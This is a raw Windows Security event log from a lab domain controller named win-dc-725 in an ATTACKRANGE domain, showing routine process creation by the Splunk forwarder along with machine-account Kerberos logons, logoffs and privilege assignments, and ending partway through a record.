Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x408F6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:23:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256461
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256460
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256462
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256463
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256464
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x478
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256466
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:23:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256467
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40678B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256470
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40C524

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256469
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40C524
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65279

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256468
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40C524

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:24:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256471
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf80
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256474
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256475
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256476
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256477
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:24:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256478
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4047CB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256481
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40FB09

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256480
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x40FB09
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65293

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256479
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x40FB09

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:25:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256483
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
